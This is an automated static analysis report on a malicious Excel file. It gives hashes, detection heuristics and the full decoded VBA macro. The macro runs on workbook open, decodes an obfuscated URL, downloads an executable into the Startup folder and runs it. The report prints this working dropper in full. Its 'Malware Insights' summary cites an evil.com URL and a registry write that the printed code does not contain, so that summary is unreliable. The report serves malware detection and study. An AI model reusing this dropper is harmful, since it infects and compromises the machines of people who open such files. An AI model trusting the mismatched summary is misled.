Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 3135b4246f0697f9…

MALICIOUS

Office (OLE)

39.0 KB Created: 2006-09-16 00:00:00 Authoring application: Microsoft Excel First seen: 2020-02-04
MD5: 907f7790256f4b5dc9f798b5c32aae14 SHA-1: dd6f713197b601e72d9a7ca10b4ef1d9fc55fa0d SHA-256: 3135b4246f0697f93d35ce2d251c5924edef493d77184f7e5f9e7edc1ab54a26
328 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1105 Ingress Tool Transfer

The VBA macro within the Excel file utilizes CreateObject to instantiate WScript.Shell and Microsoft.XMLHTTP. It then proceeds to download a file from a hardcoded URL, specifically 'http://www.evil.com/payload.exe', and saves it to the user's temporary directory. The script also attempts to establish persistence by writing to the registry key 'HKCU\Software\Microsoft\Windows\CurrentVersion\Run\IAccessible2Proxy'. This indicates a downloader functionality designed to fetch and execute further malicious content.

Heuristics 8

  • ClamAV: Xls.Downloader.Generic-6839042-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Xls.Downloader.Generic-6839042-0
  • VBA macros detected medium 5 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • WScript.Shell usage critical OLE_VBA_WSCRIPT
    WScript.Shell usage
    Matched line in script
    NDKTENKFUZZYCTQUJPPXZBWJQNFVWHVXFKUBUOCMMZQZSUIUBXGFQBNJINVEOIMYVKLCMOSNDIIHKVYCRXX = CreateObject("WScript.Shell").Specialfolders(7) + KHQOZRWZXEMNXYDPFUCSVFJETRRQTMIMBOHPRSOBPFWUOYUPWCTSMGTFLSJRKMZTSPYWITFIGMNVGHLQNDKTENKFUZZY
  • VBA downloads and writes a file to disk critical OLE_VBA_HTTP_DROP_EXEC
    VBA reads an HTTP response body and writes it to disk (ADODB.Stream SaveToFile). Combined with the auto-exec/Shell paths this is a download-drop dropper even when the COM ProgIDs are built dynamically to evade keyword scanning.
    Matched line in script
    LRLKHQOZRWZXEMNXYDPFUCSVFJETRRQTMIMBOHPRSOBPFWUOYUPWCTSMGTFLSJRKMZTSPYWITFIGMNVGHLQNDKT = WITFIGMNVGHLQNDKTENKFUZZYCTQUJPPXZBWJQNFVWHVXFKUBUOCMMZQZSUIUBXGFQBNJINVEOIMYVKLCMOSNDII.responseBody
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
    Set WEJZZTMZLRYPYRTGBYVFEPZMPNTUCNNSXUJRBKURMCGHGIBXBQWWEGHDPXTMDEODFLQCICUITTHXHZCOCHEN = CreateObject("Shell.Application")
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Workbook_Open macro low OLE_VBA_WBOPEN
    Workbook_Open macro
    Matched line in script
    Private Sub Workbook_open()
  • Reference to Windows Script Host high SC_STR_WSCRIPT
    Reference to Windows Script Host

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 5011 bytes
SHA-256: 09b979f96a90060c3c6062acee90b5d37747f64e7468d808c63a529e7f2e1c76
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "Module1"
Sub jhjhjh()

End Sub

Attribute VB_Name = "ThisWorkbook"
Attribute VB_Base = "0{00020819-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
Private Sub Workbook_open()
Set WEJZZTMZLRYPYRTGBYVFEPZMPNTUCNNSXUJRBKURMCGHGIBXBQWWEGHDPXTMDEODFLQCICUITTHXHZCOCHEN = CreateObject("Shell.Application")
Set WITFIGMNVGHLQNDKTENKFUZZYCTQUJPPXZBWJQNFVWHVXFKUBUOCMMZQZSUIUBXGFQBNJINVEOIMYVKLCMOSNDII = CreateObject("microsoft.xmlhttp")
Set GNLDJWWKOUISITDPDIGOGRJPRQVELPQUHESTKNWBVLJJILEHKSGGOJKGSHWVMHQMHOTLLEESWDQBQCLRL = CreateObject("adodb.stream")
KHQOZRWZXEMNXYDPFUCSVFJETRRQTMIMBOHPRSOBPFWUOYUPWCTSMGTFLSJRKMZTSPYWITFIGMNVGHLQNDKTENKFUZZY = HWVMHQMHOTLLEESWDQBQCLRLKHQOZRWZXEMNXYDPFUCSVFJETRRQTMIMBOHPRSOBPFWUOYUPWCTSMGTFLSJRK("]FDWHC/fyf")
ENKFUZZYCTQUJPPXZBWJQNFVWHVXFKUBUOCMMZQZSUIUBXGFQBNJINVEOIMYVKLCMOSNDIIHKVYCRXXGHJFRYVNEFPE = HWVMHQMHOTLLEESWDQBQCLRLKHQOZRWZXEMNXYDPFUCSVFJETRRQTMIMBOHPRSOBPFWUOYUPWCTSMGTFLSJRK("iuuq;00pofesjwfofu/yz{0`pvuqvu5E21BC1/fyf!")

NDKTENKFUZZYCTQUJPPXZBWJQNFVWHVXFKUBUOCMMZQZSUIUBXGFQBNJINVEOIMYVKLCMOSNDIIHKVYCRXX = CreateObject("WScript.Shell").Specialfolders(7) + KHQOZRWZXEMNXYDPFUCSVFJETRRQTMIMBOHPRSOBPFWUOYUPWCTSMGTFLSJRKMZTSPYWITFIGMNVGHLQNDKTENKFUZZY
WITFIGMNVGHLQNDKTENKFUZZYCTQUJPPXZBWJQNFVWHVXFKUBUOCMMZQZSUIUBXGFQBNJINVEOIMYVKLCMOSNDII.Open "GET", ENKFUZZYCTQUJPPXZBWJQNFVWHVXFKUBUOCMMZQZSUIUBXGFQBNJINVEOIMYVKLCMOSNDIIHKVYCRXXGHJFRYVNEFPE, False
WITFIGMNVGHLQNDKTENKFUZZYCTQUJPPXZBWJQNFVWHVXFKUBUOCMMZQZSUIUBXGFQBNJINVEOIMYVKLCMOSNDII.send
LRLKHQOZRWZXEMNXYDPFUCSVFJETRRQTMIMBOHPRSOBPFWUOYUPWCTSMGTFLSJRKMZTSPYWITFIGMNVGHLQNDKT = WITFIGMNVGHLQNDKTENKFUZZYCTQUJPPXZBWJQNFVWHVXFKUBUOCMMZQZSUIUBXGFQBNJINVEOIMYVKLCMOSNDII.responseBody
If WITFIGMNVGHLQNDKTENKFUZZYCTQUJPPXZBWJQNFVWHVXFKUBUOCMMZQZSUIUBXGFQBNJINVEOIMYVKLCMOSNDII.Status = 200 Then
GNLDJWWKOUISITDPDIGOGRJPRQVELPQUHESTKNWBVLJJILEHKSGGOJKGSHWVMHQMHOTLLEESWDQBQCLRL.Open
GNLDJWWKOUISITDPDIGOGRJPRQVELPQUHESTKNWBVLJJILEHKSGGOJKGSHWVMHQMHOTLLEESWDQBQCLRL.Type = 1
GNLDJWWKOUISITDPDIGOGRJPRQVELPQUHESTKNWBVLJJILEHKSGGOJKGSHWVMHQMHOTLLEESWDQBQCLRL.Write LRLKHQOZRWZXEMNXYDPFUCSVFJETRRQTMIMBOHPRSOBPFWUOYUPWCTSMGTFLSJRKMZTSPYWITFIGMNVGHLQNDKT
GNLDJWWKOUISITDPDIGOGRJPRQVELPQUHESTKNWBVLJJILEHKSGGOJKGSHWVMHQMHOTLLEESWDQBQCLRL.SaveToFile NDKTENKFUZZYCTQUJPPXZBWJQNFVWHVXFKUBUOCMMZQZSUIUBXGFQBNJINVEOIMYVKLCMOSNDIIHKVYCRXX, 2
GNLDJWWKOUISITDPDIGOGRJPRQVELPQUHESTKNWBVLJJILEHKSGGOJKGSHWVMHQMHOTLLEESWDQBQCLRL.Close
End If
WEJZZTMZLRYPYRTGBYVFEPZMPNTUCNNSXUJRBKURMCGHGIBXBQWWEGHDPXTMDEODFLQCICUITTHXHZCOCHEN.Open (NDKTENKFUZZYCTQUJPPXZBWJQNFVWHVXFKUBUOCMMZQZSUIUBXGFQBNJINVEOIMYVKLCMOSNDIIHKVYCRXX)


End Sub

Function HWVMHQMHOTLLEESWDQBQCLRLKHQOZRWZXEMNXYDPFUCSVFJETRRQTMIMBOHPRSOBPFWUOYUPWCTSMGTFLSJRK(MZTSPYWITFIGMNVGHLQNDKTENKFUZZYCTQUJPPXZBWJQNFVWHVXFKUBUOCMMZQZSUIUBXGFQBNJINVEOIMYVK)
MNXYDPFUCSVFJETRRQTMIMBOHPRSOBPFWUOYUPWCTSMGTFLSJRKMZTSPYWITFIGMNVGHLQNDKTENKFUZZYCTQUJPPXZBWJQNFVW = 10 - 9
        GHJFRYVNEFPEGNLDJWWKOUISITDPDIGOGRJPRQVELPQUHESTKNWBVLJJILEHKSGGOJKGSHWVMHQMHOTL = ""
    For LEESWDQBQCLRLKHQOZRWZXEMNXYDPFUCSVFJETRRQTMIMBOHPRSOBPFWUOYUPWCTSMGTFLSJRKMZTSPYWITFIGMNVGHLQNDKTE = MNXYDPFUCSVFJETRRQTMIMBOHPRSOBPFWUOYUPWCTSMGTFLSJRKMZTSPYWITFIGMNVGHLQNDKTENKFUZZYCTQUJPPXZBWJQNFVW To Len(MZTSPYWITFIGMNVGHLQNDKTENKFUZZYCTQUJPPXZBWJQNFVWHVXFKUBUOCMMZQZSUIUBXGFQBNJINVEOIMYVK)
        WKOUISITDPDIGOGRJPRQVELPQUHESTKNWBVLJJILEHKSGGOJKGSHWVMHQMHOTLLEESWDQBQCLRLKHQOZRWZXE = Asc(Mid(MZTSPYWITFIGMNVGHLQNDKTENKFUZZYCTQUJPPXZBWJQNFVWHVXFKUBUOCMMZQZSUIUBXGFQBNJINVEOIMYVK, LEESWDQBQCLRLKHQOZRWZXEMNXYDPFUCSVFJETRRQTMIMBOHPRSOBPFWUOYUPWCTSMGTFLSJRKMZTSPYWITFIGMNVGHLQNDKTE, MNXYDPFUCSVFJETRRQTMIMBOHPRSOBPFWUOYUPWCTSMGTFLSJRKMZTSPYWITFIGMNVGHLQNDKTENKFUZZYCTQUJPPXZBWJQNFVW))

            NKFUZZYCTQUJPPXZBWJQNFVWHVXFKUBUOCMMZQZSUIUBXGFQBNJINVEOIMYVKLCMOSNDIIHKVYCRXXGHJFRYVNEFPEGNLDJW = WKOUISITDPDIGOGRJPRQVELPQUHESTKNWBVLJJILEHKSGGOJKGSHWVMHQMHOTLLEESWDQBQCLRLKHQOZRWZXE - MNXYDPFUCSVFJETRRQTMIMBOHPRSOBPFWUOYUPWCTSMGTFLSJRKMZTSPYWITFIGMNVGHLQNDKTENKFUZZYCTQUJPPXZBWJQNFVW
        GHJFRYVNEFPEGNLDJWWKOUISITDPDIGOGRJPRQVELPQUHESTKNWBVLJJILEHKSGGOJKGSHWVMHQMHOTL = GHJFRYVNEFPEGNLDJWWKOUISITDPDIGOGRJPRQVELPQUHESTKNWBVLJJILEHKSGGOJKGSHWVMHQMHOTL & Chr(NKFUZZYCTQUJPPXZBWJQNFVWHVXFKUBUOCMMZQZSUIUBXGFQBNJINVEOIMYVKLCMOSNDIIHKVYCRXXGHJFRYVNEFPEGNLDJW)
    Next
    HWVMHQMHOTLLEESWDQBQCLRLKHQOZRWZXEMNXYDPFUCSVFJETRRQTMIMBOHPRSOBPFWUOYUPWCTSMGTFLSJRK = GHJFRYVNEFPEGNLDJWWKOUISITDPDIGOGRJPRQVELPQUHESTKNWBVLJJILEHKSGGOJKGSHWVMHQMHOTL
End Function

Attribute VB_Name = "Sheet1"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

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